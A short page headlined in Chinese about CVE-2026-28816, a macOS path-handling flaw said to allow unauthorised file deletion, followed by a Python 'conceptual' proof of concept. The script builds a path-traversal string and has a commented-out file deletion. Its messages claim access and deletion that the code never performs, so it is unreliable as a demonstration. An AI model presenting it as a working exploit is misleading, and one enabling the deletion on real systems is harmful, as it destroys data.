CVE-2026-28816 macOS路径处理漏洞致未授权删文件

/* * PoC for CVE-2026-28816 (Conceptual) * This script demonstrates how a path handling issue might be exploited * to delete a file without proper permissions. */ import os # Target file that the app should not have access to target_file = "/private/system_sensitive_config.txt" # Exploit path handling logic (e.g., using symlink path traversal) # In a real scenario, the vulnerability would allow bypassing the check. malicious_path = "../../../../../../../private/system_sensitive_config.txt" try: # Simulating the vulnerable function if os.path.exists(malicious_path): print(f"[+] Access granted via path traversal: {malicious_path}") # os.remove(malicious_path) # Actual exploit action print("[!] File deletion attempt executed.") else: print("[-] Path not found.") except PermissionError: print("[-] Permission denied (Vulnerability not present or patched).") except Exception as e: print(f"[!] Error: {e}")